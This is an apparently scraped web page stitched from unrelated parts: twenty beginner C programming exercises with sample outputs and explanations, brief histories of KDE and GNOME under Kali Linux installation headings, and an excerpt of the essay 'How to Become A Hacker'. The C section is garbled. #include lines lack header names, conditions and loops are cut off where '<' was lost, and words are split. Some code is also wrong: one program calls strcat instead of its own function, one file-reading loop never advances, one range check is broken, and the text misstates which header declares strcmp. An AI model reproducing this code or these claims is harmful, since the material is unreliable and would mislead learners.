ANSWERS

1. Write a program to find factorial of the given number.
Recursion: A function is called'recursive 'if a statement within the body of a function calls the same function. It
is also called'circular definition '. Recursion is thus a process of defining something in terms of itself.
Program: To calculate the factorial value using recursion.
‪#‎include‬
int fact(int n);
int main(){
int x, i;
printf("En ter a value for x: \n");
scanf("%d" ,&x);
i = fact(x);
printf("\n Factorial of %d is %d", x, i);
return 0;
}int fact(int n){
/* n=0 indicates a terminatin g condition */
if (n
return (1);
}else{
/* function calling itself */
return (n * fact(n - 1));
/*n*fact(n -1) is a recursive expression */
}
}
Output:
Enter a value for x:
4
Factorial of 4 is 24
Explanatio n:
fact(n) = n * fact(n-1)
If n=4
fact(4) = 4 * fact(3) there is a call to fact(3)
fact(3) = 3 * fact(2)
fact(2) = 2 * fact(1)
fact(1) = 1 * fact(0)
fact(0) = 1
fact(1) = 1 * 1 = 1
fact(2) = 2 * 1 = 2
fact(3) = 3 * 2 = 6
Thus fact(4) = 4 * 6 = 24
Terminatin g condition( n
infinite loop.

2. Write a program to check whether the given number is even or odd.
Program:
#include
int main(){
int a;
printf("En ter a: \n");
scanf("%d" ,&a);
/* logic */
if (a % 2 == 0){
printf("Th e given number is EVEN\n");
}
else{
printf("Th e given number is ODD\n");
}
return 0;
}
Output:
Enter a: 2
The given number is EVEN
Explanatio n with examples:
Example 1: If entered number is an even number
Let value of'a'entered is 4
if(a%2==0) then a is an even number, else odd.
i.e. if(4%2==0) then 4 is an even number, else odd.
To check whether 4 is even or odd, we need to calculate (4%2).
/* % (modulus) implies remainder value. */
/* Therefore if the remainder obtained when 4 is divided by 2 is 0, then 4 is even. */
4%2==0 is true
Thus 4 is an even number.
Example 2: If entered number is an odd number.
Let value of'a'entered is 7
if(a%2==0) then a is an even number, else odd.
i.e. if(7%2==0) then 4 is an even number, else odd.
To check whether 7 is even or odd, we need to calculate (7%2).
7%2==0 is false /* 7%2==1 condition fails and else part is executed */
Thus 7 is an odd number.

3. Write a program to swap two numbers using a temporary variable.
Swapping interchang es the values of two given variables.
Logic:
step1: temp=x;
step2: x=y;
step3: y=temp;
Example:
if x=5 and y=8, consider a temporary variable temp.
step1: temp=x=5;
step2: x=y=8;
step3: y=temp=5;
Thus the values of the variables x and y are interchang ed.
Program:
#include
int main(){
int a, b, temp;
printf("En ter the value of a and b: \n");
scanf("%d %d",&a,&b);
printf("Be fore swapping a=%d, b=%d \n", a, b);
/*Swapping logic */
temp = a;
a = b;
b = temp;
printf("Af ter swapping a=%d, b=%d", a, b);
return 0;
}
Output:
Enter the values of a and b: 2 3
Before swapping a=2, b=3
After swapping a=3, b=2
4. Write a program to swap two numbers without using a temporary variable.
Swapping interchang es the values of two given variables.
Logic:
step1: x=x+y;
step2: y=x-y;
step3: x=x-y;
Example:
if x=7 and y=4
step1: x=7+4=11;
step2: y=11-4=7;
step3: x=11-7=4;
Thus the values of the variables x and y are interchang ed.
Program:
#include
int main(){
int a, b;
printf("En ter values of a and b: \n");
scanf("%d %d",&a,&b);
printf("Be fore swapping a=%d, b=%d\n", a,b);
/*Swapping logic */
a = a + b;
b = a - b;
a = a - b;
printf("Af ter swapping a=%d b=%d\n", a, b);
return 0;
}
Output:
Enter values of a and b: 2 3
Before swapping a=2, b=3
The values after swapping are a=3 b=2

5. Write a program to swap two numbers using bitwise operators.
Program:
#include
int main(){
int i = 65;
int k = 120;
printf("\n value of i=%d k=%d before swapping", i, k);
i = i ^ k;
k = i ^ k;
i = i ^ k;
printf("\n value of i=%d k=%d after swapping", i, k);
return 0;
}
Explanatio n:
i = 65; binary equivalent of 65 is 0100 0001
k = 120; binary equivalent of 120 is 0111 1000
i = i^k;
i...0100 0001
k...0111 1000
---------
val of i = 0011 1001
---------
k = i^k
i...0011 1001
k...0111 1000
---------
val of k = 0100 0001 binary equivalent of this is 65
---------( that is the initial value of i)
i = i^k
i...0011 1001
k...0100 0001
---------
val of i = 0111 1000 binary equivalent of this is 120
--------- (that is the initial value of k)

6. Write a program to find the greatest of three numbers.
Program:
#include
int main(){
int a, b, c;
printf("En ter a,b,c: \n");
scanf("%d %d %d",&a,&b,&c);
if (a>b&&a>c){
printf("a is Greater than b and c");
}
else if (b>a&&b>c){
printf("b is Greater than a and c");
}
else if (c>a&&c>b){
printf("c is Greater than a and b");
}
else{
printf("al l are equal or any two values are equal");
}
return 0;
}
Output:
Enter a,b,c: 3 5 8
c is Greater than a and b
Explanatio n with examples:
Consider three numbers a=5,b=4,c= 8
if(a>b&&a>c) then a is greater than b and c
now check this condition for the three numbers 5,4,8 i.e.
if(5>4&&5>8) /* 5>4 is true but 5>8 fails */
so the control shifts to else if condition
else if(b>a&&b>c) then b is greater than a and c
now checking this condition for 5,4,8 i.e.
else if(4>5&&4>8) / * both the conditions fail */
now the control shifts to the next else if condition
else if(c>a&&c>b) then c is greater than a and b
now checking this condition for 5,4,8 i.e.
else if(8>5&&8>4) / * both conditions are satisfied */
Thus c is greater than a and b.

7. Write a program to find the greatest among ten numbers.
Program:
#include
int main(){
int a[10];
int i;
int greatest;
printf("En ter ten values:");
//Store 10 numbers in an array
for (i = 0; i<10; i++){
scanf("%d" ,&a[i]);
}
//Assume that a[0] is greatest
greatest = a[0];
for (i = 0; i<10; i++){
if (a[i]>greatest){
greatest = a[i];
}
}
printf("\n Greatest of ten numbers is %d", greatest);
return 0;
}
Output:
Enter ten values: 2 53 65 3 88 8 14 5 77 64 Greatest of ten numbers is 88
Explanatio n with example:
Entered values are 2, 53, 65, 3, 88, 8, 14, 5, 77, 64
They are stored in an array of size 10. let a[] be an array holding these values.
/* how the greatest among ten numbers is found */
Let us consider a variable'greatest' . At the beginning of the loop, variable'greatest' is assinged with the value of
first element in the array greatest=a [0]. Here variable'greatest' is assigned 2 as a[0]=2.
Below loop is executed until end of the array'a[]';.
for(i=0; i
{
if(a[i]>gr eatest)
{
greatest= a[i];
}
}
For each value of'i', value of a[i] is compared with value of variable'greatest' . If any value greater than the value
of'greatest' is encountere d, it would be replaced by a[i]. After completion of'for'loop, the value of variable
'greatest' holds the greatest number in the array. In this case 88 is the greatest of all the numbers.
8. Write a program to check whether the given number is a prime.
A prime number is a natural number that has only one and itself as factors. Examples: 2, 3, 13 are prime
numbers.
Program:
#include
main(){
int n, i, c = 0;
printf("En ter any number n: \n");
scanf("%d" ,&n);
/*logic*/
for (i = 1; i
if (n % i == 0){
c++;
}
}
if (c == 2){
printf("n is a Prime number");
}
else{
printf("n is not a Prime number");
}
return 0;
}
Output:
Enter any number n: 7
n is Prime
Explanatio n with examples:
consider a number n=5
for(i=0;i
i.e. for(i=0;i
1st iteration: i=1;i
here i is incremente d i.e. i value for next iteration is 2
now if(n%i==0) then c is incremente d
i.e.if(5%1 ==0)then c is incremente d, here 5%1=0 thus c is incremente d.
now c=1;
2nd iteration: i=2;i
here i is incremente d i.e. i value for next iteration is 3
now if(n%i==0) then c is incremente d
i.e.if(5%2 ==0) then c is incremente d, but 5%2!=0 and so c is not incremente d, c remains 1
c=1;
3rd iteration: i=3;i
here i is incremente d i.e. i value for next iteration is 4
now if(n%i==0) then c is incremente d
i.e.if(5%3 ==0) then c ic incremente d, but 5%3!=0 and so c is not incremente d, c remains 1
c=1;
4th iteration: i=4;i
here i is incremente d i.e. i value for next iteration is 5
now if(n%i==0) then c is incremente d
i.e. if(5%4==0) then c is incremente d, but 5%4!=0 and so c is not incremente d, c remains 1
c=1;
5th iteration: i=5;i
here i is incremente d i.e. i value for next iteration is 6
now if(n%i==0) then c is incremente d
i.e. if(5%5==0) then c is incremente d, 5%5=0 and so c is incremente d.
i.e. c=2
6th iteration: i=6;i
here i value is 6 and 6
now if(c==2) then n is a prime number
we have c=2 from the 5th iteration and thus n=5 is a Prime number.

9. Write a program to check whether the given number is a palindromi c number.
If a number, which when read in both forward and backward way is same, then such a number is called a
palindrome number.
Program:
#include
int main(){
int n, n1, rev = 0, rem;
printf("En ter any number: \n");
scanf("%d" ,&n);
n1 = n;
/* logic */
while (n>0){
rem = n % 10;
rev = rev * 10 + rem;
n = n / 10;
}
if (n1 == rev){
printf("Gi ven number is a palindromi c number");
}
else{
printf("Gi ven number is not a palindromi c number");
}
return 0;
}
Output:
Enter any number: 121
Given number is a palindrome
Explanatio n with an example:
Consider a number n=121, reverse=0, remainder;
number=121
now the while loop is executed /* the condition (n>0) is satisfied */
/* calculate remainder */
remainder of 121 divided by 10=(121%10 )=1;
now reverse=(r everse*10) +remainder
=(0*10)+1 / * we have initialized reverse=0 */
=1
number=num ber/10
=121/10
=12
now the number is 12, greater than 0. The above process is repeated for number=12.
remainder= 12%10=2;
reverse=(1 *10)+2=12;
number=12/ 10=1;
now the number is 1, greater than 0. The above process is repeated for number=1.
remainder= 1%10=1;
reverse=(1 2*10)+1=12 1;
number=1/ 10 / * the condition n>0 is not satisfied,co ntrol leaves the while loop */
Program stops here. The given number=121 equals the reverse of the number. Thus the given number is a
palindrome number.

10.Write a program to check whether the given string is a palindrome .
Palindrome is a string, which when read in both forward and backward way is same.
Example: radar, madam, pop, lol, rubber, etc.,
Program:
#include
#include
int main(){
char string1[20 ];
int i, length;
int flag = 0;
printf("En ter a string: \n");
scanf("%s" , string1);
length = strlen(str ing1);
for(i=0;i<length ;i++){
if(string1 [i] != string1[le ngth-i-1]) {
flag = 1;
break;
}
}
if (flag){
printf("%s is not a palindrome \n", string1);
}
else{
printf("%s is a palindrome \n", string1);
}
return 0;
}
Output:
Enter a string: radar
"radar"is a palindrome
Explanatio n with example:
To check if a string is a palindrome or not, a string needs to be compared with the reverse of itself.
Consider a palindrome string:"radar",
---------- ---------- -------
index: 0 1 2 3 4
value: r a d a r
---------- ---------- -------
To compare it with the reverse of itself, the following logic is used:
0th character in the char array, string1 is same as 4th character in the same string.
1st character is same as 3rd character.
2nd character is same as 2nd character.
. . . .
ith character is same as'length-i- 1'th character.
If any one of the above condition fails, flag is set to true(1), which implies that the string is not a palindrome .
By default, the value of flag is false(0). Hence, if all the conditions are satisfied, the string is a palindrome .

11.Write a program to generate the Fibonacci series.
Fibonacci series: Any number in the series is obtained by adding the previous two numbers of the series.
Let f(n) be n'th term.
f(0)=0;
f(1)=1;
f(n)=f(n-1 )+f(n-2); (for n>=2)
Series is as follows
011
(1+0)
2 (1+1)
3 (1+2)
5 (2+3)
8 (3+5)
13 (5+8)
21 (8+13)
34 (13+21)
...and so on
Program: to generate Fibonacci Series(10 terms)
#include
int main(){
//array fib stores numbers of fibonacci series
int i, fib[25];
// initialized first element to 0
fib[0] = 0;
// initialized second element to 1
fib[1] = 1;
//loop to generate ten elements
for (i = 2; i<10; i++){
//i'th element of series is equal to the sum of i-1'th element and i-2'th element.
fib[i] = fib[i - 1] + fib[i - 2];
}
printf("Th e fibonacci series is as follows \n");
//print all numbers in the series
for (i = 0; i<10; i++){
printf("%d \n", fib[i]);
}
return 0;
}
Output:
The fibonacci series is as follows
01123581
3
21
34
Explanatio n:
The first two elements are initialize d to 0, 1 respective ly. Other elements in the series are generated by looping
and adding previous two numbes. These numbers are stored in an array and ten elements of the series are
printed as output.

12.Write a program to print"Hello World"without using semicolon anywhere in the code.
Generally when we use printf("") statement, we have to use a semicolon at the end. If printf is used inside an if
Condition, semicolon can be avoided.
Program: Program to print something without using semicolon (;)
#include
int main(){
//printf returns the length of string being printed
if (printf("H ello World\n")) //prints Hello World and returns 11
{
//do nothing
}
return 0;
}
Output:
Hello World
Explanatio n:
The if statement checks for condition whether the return value of printf("He llo World") is greater than 0. printf
function returns the length of the string printed. Hence the statement if (printf("H ello World")) prints the string
"Hello World".

13.Write a program to print a semicolon without using a semicolon anywhere in the code.
Generally when use printf("") statement we have to use semicolon at the end.
If we want to print a semicolon, we use the statement: printf(";" );
In above statement, we are using two semicolons . The task of printing a semicolon without using semicolon anywhere in the code can be accomplish ed by using the ascii value of';'which is equal to 59.
Program: Program to print a semicolon without using semicolon in the code.
#include
int main(void) {
//prints the character with ascii value 59, i.e., semicolon
if (printf("% c\n", 59)){
//prints semicolon
}
return 0;
}
Output:
;
Explanatio n:
If statement checks whether return value of printf function is greater than zero or not. The return value of function
call printf("%c ",59) is 1. As printf returns the length of the string printed. printf("%c ",59) prints ascii value that
correspond s to 59, that is semicolon( .

14.Write a program to compare two strings without using strcmp() function.
strcmp() function compares two strings lexicograp hically. strcmp is declared in stdio.h
Case 1: when the strings are equal, it returns zero.
Case 2: when the strings are unequal, it returns the difference between ascii values of the characters that differ.
a) When string1 is greater than string2, it returns positive value.
b) When string1 is lesser than string2, it returns negative value.
Syntax:
int strcmp (const char *s1, const char *s2);
Program: to compare two strings.
#include
#include
int cmpstr(cha r s1[10], char s2[10]);
int main(){
char arr1[10] ="Nodalo";
char arr2[10] ="nodalo";
printf("%d", cmpstr(arr 1, arr2));
// cmpstr() is equivalent of strcmp()
return 0;
}/
/s1, s2 are strings to be compared
int cmpstr(cha r s1[10], char s2[10]){
//strlen function returns the length of argument string passed
int i = strlen(s1) ;
int k = strlen(s2) ;
int bigger;
if (i<k){
bigger = k;
}
else if (i>k){
bigger = i;
}
else{
bigger = i;
}
//loops'bigger'times
for (i = 0; i<bigger; i++){
// if ascii values of characters s1[i], s2[i] are equal do nothing
if (s1[i] == s2[i]){
}
//else return the ascii difference
else{
return (s1[i] - s2[i]);
}
}
//return 0 when both strings are same
//This statement is executed only when both strings are equal
return (0);
}
Output:
-32
Explanatio n:
cmpstr() is a function that illustrate s C standard function strcmp(). Strings to be compared are sent as arguments
to cmpstr().
Each character in string1 is compared to its correspond ing character in string2. Once the loop encounters a
differing character in the strings, it would return the ascii difference of the differing characters and exit.

15.Write a program to concatenat e two strings without using strcat() function.
strcat(str ing1,strin g2) is a C standard function declared in the header file string.h
The strcat() function concatenat es string2, string1 and returns string1.
Program: Program to concatenat e two strings
#include
#include
char *strct(cha r *c1, char *c2);
char *strct(cha r *c1, char *c2){
//strlen function returns length of argument string
int i = strlen(c1) ;
int k = 0;
// loops until null is encountered and appends string c2 to c1
while (c2[k] !='\0'){
c1[i + k] = c2[k];
k++;
}
return c1;
}
int main(){
char string1[15 ] ="first";
char string2[15 ] ="second";
char *finalstr;
printf("Be fore concatenat ion:"
"\n string1 = %s \n string2 = %s", string1, string2);
// addresses of string1, string2 are passed to strct()
finalstr = strcat(str ing1, string2);
printf("\n After concatenat ion:");
//prints the contents of string whose address is in finalstr
printf("\n finalstr = %s", finalstr);
//prints the contents of string1
printf("\n string1 = %s", string1);
//prints the contents of string2
printf("\n string2 = %s", string2);
return 0;
}
Output:
Before concatenat ion:
string1 = first
string2 = second
After concatenat ion:
finalstr = firstsecon d
string1 = firstsecon d
string2 = second
Explanatio n:
string2 is appended at the end of string1 and contents of string2 are unchanged.
In strct() function, using a for loop, all the characters of string'c2'are copied at the end of c1. return (c1) is
equivalent to return&c1[0] and it returns the base address of'c1'.'finalstr' stores that address returned by the
function strct().

16.Write a program to delete a specified line from a text file.
In this program, user is asked for a filename he needs to change. User is also asked for the line number that is
to be deleted. The filename is stored in'filename' . The file is opened and all the data is transferre d to another file
except that one line the user specifies to delete.
Program: Program to delete a specific line.
#include
int main(){
FILE *fp1, *fp2;
// consider 40 character string to store filename
char filename[4 0];
char c;
int del_line, temp = 1;
//asks user for file name
printf("En ter file name:");
// receives file name from user and stores in'filename'
scanf("%s" , filename);
//open file in read mode
fp1 = fopen(file name,"r");
c = getc(fp1);
//until the last character of file is obtained
while (c != EOF)
{
printf("%c ", c);
//print current character and read next character
c = getc(fp1);
}
//rewind
rewind(fp1 );
printf("\n Enter line number of the line to be deleted:") ;
//accept number from user.
scanf("%d" ,&del_line) ;
//open new file in write mode
fp2 = fopen("cop y.c","w");
c = getc(fp1);
while (c != EOF){
c = getc(fp1);
if (c =='\n')
temp++;
//except the line to be deleted
if (temp != del_line)
{
//copy all lines in file copy.c
putc(c, fp2);
}
}
//close both the files.
fclose(fp1 );
fclose(fp2 );
//remove original file
remove(fil ename);
//rename the file copy.c to original name
rename("co py.c", filename);
printf("\n The contents of file after being modified are as follows:\n ");
fp1 = fopen(file name,"r");
c = getc(fp1);
while (c != EOF){
printf("%c ", c);

}
fclose(fp1 );
return 0;
}
Output:
Enter file name:abc.t xt
hi.
Hello
how are you?
I am fine
hope the same
Enter line number of the line to be deleted:4
The contents of file after being modified are as follows:
hi.
hello
how are you?
hope the same
Explanatio n:
In this program, user is asked for a filename that needs to be modified. Entered file name is stored in a char
array'filename' . This file is opened in read mode using file pointer'fp1'. Character'c'is used to read characters
from the file and print them to the output. User is asked for the line number in the file to be deleted. The file
pointer is rewinded back and all the lines of the file except for the line to be deleted are copied into another file
"copy.c". Now"copy.c"is renamed to the original filename. The original file is opened in read mode and the
modified contents of the file are displayed on the screen.

17.Write a program to replace a specified line in a text file.
Program: Program to replace a specified line in a text file.
#include
int main(void) {
FILE *fp1, *fp2;
// 'filename'i s a 40 character string to store filename
char filename[4 0];
char c;
int del_line, temp = 1;
//asks user for file name
printf("En ter file name:");
// receives file name from user and stores in'filename'
scanf("%s" , filename);
fp1 = fopen(file name,"r");
//open file in read mode
c = getc(fp1);
//print the contents of file .
while (c != EOF){
printf("%c ", c);
c = getc(fp1);
}
//ask user for line number to be deleted.
printf("\n Enter line number to be deleted and replaced") ;
scanf("%d" ,&del_line) ;
//take fp1 to start point.
rewind(fp1 );
//open copy.c in write mode
fp2 = fopen("cop y.c","w");
c = getc(fp1);
while (c != EOF){
if (c =='\n'){
temp++;
}
// till the line to be deleted comes,copy the content from one file to other
if (temp != del_line){
putc(c, fp2);
}
else //when the line to be deleted comes
{
while ((c = getc(fp1)) !='\n'){
}
//read and skip the line ask for new text
printf("En ter new text");
//flush the input stream
fflush(std in);
putc('\n', fp2);
//put'\n'in new file
while ((c = getchar()) !='\n')
putc(c, fp2);
//take the data from user and place it in new file
fputs("\n" , fp2);
temp++;
}
// continue this till EOF is encountere d
c = getc(fp1);
}
//close both files
fclose(fp1 );
fclose(fp2 );
//remove original file
remove(fil ename);
//rename new file with old name opens the file in read mode
rename("co py.c", filename);
fp1 = fopen(file name,"r");
//reads the character from file
c = getc(fp1);
// until last character of file is encountered
while (c != EOF){
printf("%c ", c);
// all characters are printed
c = getc(fp1);
}
//close the file pointer
fclose(fp1 );
return 0;
}
Output:
Enter file name:abc.t xt
hi.
hello
how are you?
hope the same
Enter line number of the line to be deleted and replaced:4
Enter new text: sayonara see you soon
hi.
hello
how are you?
sayonara see you soon
Explanatio n:
In this program, the user is asked to type the name of the file. The File by name entered by user is opened in
read mode. The line number of the line to be replaced is asked as input. Next the data to be replaced is asked. A
new file is opened in write mode named"copy.c". Now the contents of original file are transferre d into new file
and the line to be modified is deleted. New data is stored in its place and remaining lines of the original file are
also transferre d. The copied file with modified contents is replaced with the original file's name. Both the file
pointers are closed and the original file is again opened in read mode and the contents of the original file is
printed as output.

18.Write a program to find the number of lines in a text file.
Number of lines in a file can be determined by counting the number of new line characters present.
Program: Program to count number of lines in a file.
#include
int main()
/* Ask for a filename and count number of lines in the file*/
{
//a pointer to a FILE structure
FILE *fp;
int no_lines = 0;
// consider 40 character string to store filename
char filename[4 0], sample_chr ;
//asks user for file name
printf("En ter file name:");
// receives file name from user and stores in a string named'filename'
scanf("%s" , filename);
//open file in read mode
fp = fopen(file name,"r");
//get character from file and store in sample_chr
sample_chr = getc(fp);
while (sample_ch r != EOF){
// Count whenever sample_chr is'\n'(new line) is encountere d
if (sample_ch r =='\n')
{
// increment variable'no_lines' by 1
no_lines=n o_lines+1;
}
//take next character from file.
sample_chr = getc(fp);
}
fclose(fp) ; //close file.
printf("Th ere are %d lines in %s \n", no_lines, filename);
return 0;
}
Output:
Enter file name:abc.t xt
There are 4 lines in abc.txt
Explanatio n:
In this program, name of the file to be read is taken as input. A file by the given name is opened in read-mode
using a File pointer'fp'. Characters from the file are read into a char variable'sample_ch r'with the help of getc
function. If a new line character( '\n') is encountere d, the integer variable'no_lines' is incremente d. If the
character read into'sample_ch ar'is not a new line character, next character is read from the file. This process is
continued until the last character of the file(EOF) is encountere d. The file pointer is then closed and the total
number of lines is shown as output.

19.Write a C program which asks the user for a number between 1 to 9 and shows the number. If the
user inputs a number out of the specified range, the program should show an error and prompt
the user for a valid input.
Program: Program for accepting a number in a given range.
#include
int getnumber( );
int main(){
int input = 0;
//call a function to input number from key board
input = getnumber( );
//when input is not in the range of 1 to 9,print error message
while (!((input = 1))){
printf("[E RROR] The number you entered is out of range");
//input another number
input = getnumber( );
}
//this function is repeated until a valid input is given by user.
printf("\n The number you entered is %d", input);
return 0;
}/
/this function returns the number given by user
int getnumber( ){
int number;
//asks user for a input in given range
printf("\n Enter a number between 1 to 9 \n");
scanf("%d" ,&number);
return (number);
}
Output:
Enter a number between 1 to 9
45
[ERROR] The number you entered is out of range
Enter a number between 1 to 9
4
The number you entered is 4
Explanatio n:
getfunctio n() function accepts input from user.'while'loop checks whether the number falls within range or not
and accordingl y either prints the number(If the number falls in desired range) or shows error message(nu mber is
out of range).
20.Write a program to display the multiplica tion table of a given number.
Program: Multiplica tion table of a given number
#include
int main(){
int num, i = 1;
printf("\n Enter any Number:");
scanf("%d" ,&num);
printf("Mu ltiplicati on table of %d: \n", num);
while (i
printf("\n %d x %d = %d", num, i, num * i);
i++;
}
return 0;
}
Output:
Enter any Number:5
5 x 1 = 5
5 x 2 = 10
5 x 3 = 15
5 x 4 = 20
5 x 5 = 25
5 x 6 = 30
5 x 7 = 35
5 x 8 = 40
5 x 9 = 45

How to install/remove different KDE Desktop Environments in Kali Linux

K Desktop Environment (KDE) was founded in 1996 by Matthias Ettrich, who was then a student at the Eberhard Karls University of Tübingen. At the time, he was troubled by certain aspects of the Unix desktop. Among his concerns was that none of the applications looked, felt, or worked alike. He proposed the creation of not merely a set of applications but a desktop environment in which users could expect things to look, feel, and work consistently. He also wanted to make this desktop easy to use; one of his complaints about desktop applications of the time was that his girlfriend could not use them. His initial Usenet post spurred a lot of interest, and the KDE project was born.
The name KDE was intended as a wordplay on the existing Common Desktop Environment, available for Unix systems. CDE was an X11-based user environment jointly developed by HP, IBM, and Sun through the X/Open consortium, with an interface and productivity tools based on the Motif graphical widget toolkit. It was supposed to be an intuitively easy-to-use desktop computer environment. The K was originally suggested to stand for “Kool”, but it was quickly decided that the K should stand for nothing in particular. The KDE initialism is therefore expanded to “K Desktop Environment”.

How to install/remove GNOME Desktop Environment on Kali Linux

GNOME is a desktop environment and graphical user interface that runs on top of a computer operating system. It is composed entirely of free and open source software and is developed by both volunteers and paid contributors, the largest corporate contributor being Red Hat. It is an international project that includes creating software development frameworks, selecting application software for the desktop, and working on the programs that manage application launching, file handling, and window and task management.
Initially, “GNOME” was an acronym of GNU Network Object Model Environment, referring to the original intention of creating a distributed object framework similar to Microsoft’s OLE; it was dropped, because this no longer reflects the core vision of the GNOME project.
The GNOME project provides two things: The GNOME desktop environment, a graphical user interface and core applications like Web, a simple web browser; and the GNOME development platform, an extensive framework for building applications that integrate into the rest of the desktop and mobile user interface.

How to Become A Hacker

2014-02-19T18:55:00.001+05:30

What is a Hacker?

The Jargon File contains a bunch of definitions of the term ‘hacker’, most having to do with technical adeptness and a delight in solving problems and overcoming limits. If you want to know how to become a hacker, though, only two are really relevant.
There is a community, a shared culture, of expert programmers and networking wizards that traces its history back through decades to the first time-sharing minicomputers and the earliest ARPAnet experiments. The members of this culture originated the term ‘hacker’. Hackers built the Internet. Hackers made the Unix operating system what it is today. Hackers make the World Wide Web work. If you are part of this culture, if you have contributed to it and other people in it know who you are and call you a hacker, you're a hacker.
The hacker mind-set is not confined to this software-hacker culture. There are people who apply the hacker attitude to other things, like electronics or music — actually, you can find it at the highest levels of any science or art. Software hackers recognize these kindred spirits elsewhere and may call them ‘hackers’ too — and some claim that the hacker nature is really independent of the particular medium the hacker works in. But in the rest of this document we will focus on the skills and attitudes of software hackers, and the traditions of the shared culture that originated the term ‘hacker’.
There is another group of people who loudly call themselves hackers, but aren't. These are people (mainly adolescent males) who get a kick out of breaking into computers and phreaking the phone system. Real hackers call these people ‘crackers’ and want nothing to do with them. Real hackers mostly think crackers are lazy, irresponsible, and not very bright, and object that being able to break security doesn't make you a hacker any more than being able to hotwire cars makes you an automotive engineer. Unfortunately, many journalists and writers have been fooled into using the word ‘hacker’ to describe crackers; this irritates real hackers no end.
The basic difference is this: hackers build things, crackers break them.
If you want to be a hacker, keep reading. If you want to be a cracker, go read the alt.2600 newsgroup and get ready to do five to ten in the slammer after finding out you aren't as smart as you think you are. And that's all I'm going to say about crackers.

Basic Hacking Skills

The hacker attitude is vital, but skills are even more vital. Attitude is no substitute for competence, and there's a certain basic toolkit of skills which you have to have before any hacker will dream of calling you one.
This toolkit changes slowly over time as technology creates new skills and makes old ones obsolete. For example, it used to include programming in machine language, and didn't until recently involve HTML. But right now it pretty clearly includes the following:

1. Learn how to program.

This, of course, is the fundamental hacking skill. If you don't know any computer languages, I recommend starting with Python. It is cleanly designed, well documented, and relatively kind to beginners. Despite being a good first language, it is not just a toy; it is very powerful and flexible and well suited for large projects. I have written a more detailed evaluation of Python. Good tutorials are available at the Python web site.
I used to recommend Java as a good language to learn early, but this critique has changed my mind (search for “The Pitfalls of Java as a First Programming Language” within it). A hacker cannot, as they devastatingly put it“approach problem-solving like a plumber in a hardware store”; you have to know what the components actually do. Now I think it is probably best to learn C and Lisp first, then Java.
There is perhaps a more general point here. If a language does too much for you, it may be simultaneously a good tool for production and a bad one for learning. It's not only languages that have this problem; web application frameworks like RubyOnRails, CakePHP, Django may make it too easy to reach a superficial sort of understanding that will leave you without resources when you have to tackle a hard problem, or even just debug the solution to an easy one.
If you get into serious programming, you will have to learn C, the core language of Unix. C++ is very closely related to C; if you know one, learning the other will not be difficult. Neither language is a good one to try learning as your first, however. And, actually, the more you can avoid programming in C the more productive you will be.
C is very efficient, and very sparing of your machine's resources. Unfortunately, C gets that efficiency by requiring you to do a lot of low-level management of resources (like memory) by hand. All that low-level code is complex and bug-prone, and will soak up huge amounts of your time on debugging. With today's machines as powerful as they are, this is usually a bad tradeoff — it's smarter to use a language that uses the machine's time less efficiently, but your time much more efficiently. Thus, Python.
Other languages of particular importance to hackers include Perl and LISP. Perl is worth learning for practical reasons; it's very widely used for active web pages and system administration, so that even if you never write Perl you should learn to read it. Many people use Perl in the way I suggest you should use Python, to avoid C programming on jobs that don't require C's machine efficiency. You will need to be able to understand their code.
LISP is worth learning for a different reason — the profound enlightenment experience you will have when you finally get it. That experience will make you a better programmer for the rest of your days, even if you never actually use LISP itself a lot. (You can get some beginning experience with LISP fairly easily by writing and modifying editing modes for the Emacs text editor, or Script-Fu plugins for the GIMP.)
It's best, actually, to learn all five of Python, C/C++, Java, Perl, and LISP. Besides being the most important hacking languages, they represent very different approaches to programming, and each will educate you in valuable ways.
But be aware that you won't reach the skill level of a hacker or even merely a programmer simply by accumulating languages — you need to learn how to think about programming problems in a general way, independent of any one language. To be a real hacker, you need to get to the point where you can learn a new language in days by relating what's in the manual to what you already know. This means you should learn several very different languages.
I can't give complete instructions on how to learn to program here — it's a complex skill. But I can tell you that books and courses won't do it — many, maybe most of the best hackers are self-taught. You can learn language features — bits of knowledge — from books, but the mind-set that makes that knowledge into living skill can be learned only by practice and apprenticeship. What will do it is (a) reading code and (b) writing code.
Peter Norvig, who is one of Google's top hackers and the co-author of the most widely used textbook on AI, has written an excellent essay called Teach Yourself Programming in Ten Years. His "recipe for programming success" is worth careful attention.
Learning to program is like learning to write good natural language. The best way to do it is to read some stuff written by masters of the form, write some things yourself, read a lot more, write a little more, read a lot more, write some more ... and repeat until your writing begins to develop the kind of strength and economy you see in your models.
Finding good code to read used to be hard, because there were few large programs available in source for fledgeling hackers to read and tinker with. This has changed dramatically; open-source software, programming tools, and operating systems (all built by hackers) are now widely available. Which brings me neatly to our next topic...

2. Get one of the open-source Unixes and learn to use and run it.

I'll assume you have a personal computer or can get access to one. (Take a moment to appreciate how much that means. The hacker culture originally evolved back when computers were so expensive that individuals could not own them.) The single most important step any newbie can take toward acquiring hacker skills is to get a copy of Linux or one of the BSD-Unixes, install it on a personal machine, and run it.
Yes, there are other operating systems in the world besides Unix. But they're distributed in binary — you can't read the code, and you can't modify it. Trying to learn to hack on a Microsoft Windows machine or under any other closed-source system is like trying to learn to dance while wearing a body cast.
Under Mac OS X it's possible, but only part of the system is open source — you're likely to hit a lot of walls, and you have to be careful not to develop the bad habit of depending on Apple's proprietary code. If you concentrate on the Unix under the hood you can learn some useful things.
Unix is the operating system of the Internet. While you can learn to use the Internet without knowing Unix, you can't be an Internet hacker without understanding Unix. For this reason, the hacker culture today is pretty strongly Unix-centered. (This wasn't always true, and some old-time hackers still aren't happy about it, but the symbiosis between Unix and the Internet has become strong enough that even Microsoft's muscle doesn't seem able to seriously dent it.)
So, bring up a Unix — I like Linux myself but there are other ways (and yes, you can run both Linux and Microsoft Windows on the same machine). Learn it. Run it. Tinker with it. Talk to the Internet with it. Read the code. Modify the code. You'll get better programming tools (including C, LISP, Python, and Perl) than any Microsoft operating system can dream of hosting, you'll have fun, and you'll soak up more knowledge than you realize you're learning until you look back on it as a master hacker.
For more about learning Unix, see The Loginataka. You might also want to have a look at The Art Of Unix Programming.
To get your hands on a Linux, see the Linux Online! site; you can download from there or (better idea) find a local Linux user group to help you with installation.
During the first ten years of this HOWTO's life, I reported that from a new user's point of view, all Linux distributions are almost equivalent. But in 2006-2007, an actual best choice emerged: Ubuntu. While other distros have their own areas of strength, Ubuntu is far and away the most accessible to Linux newbies. Beware, though, of the hideous and nigh-unusable "Unity" desktop interface that Ubuntu introduced as a default a few years later; the Xubuntu or Kubuntu variants are better.
You can find BSD Unix help and resources at www.bsd.org.
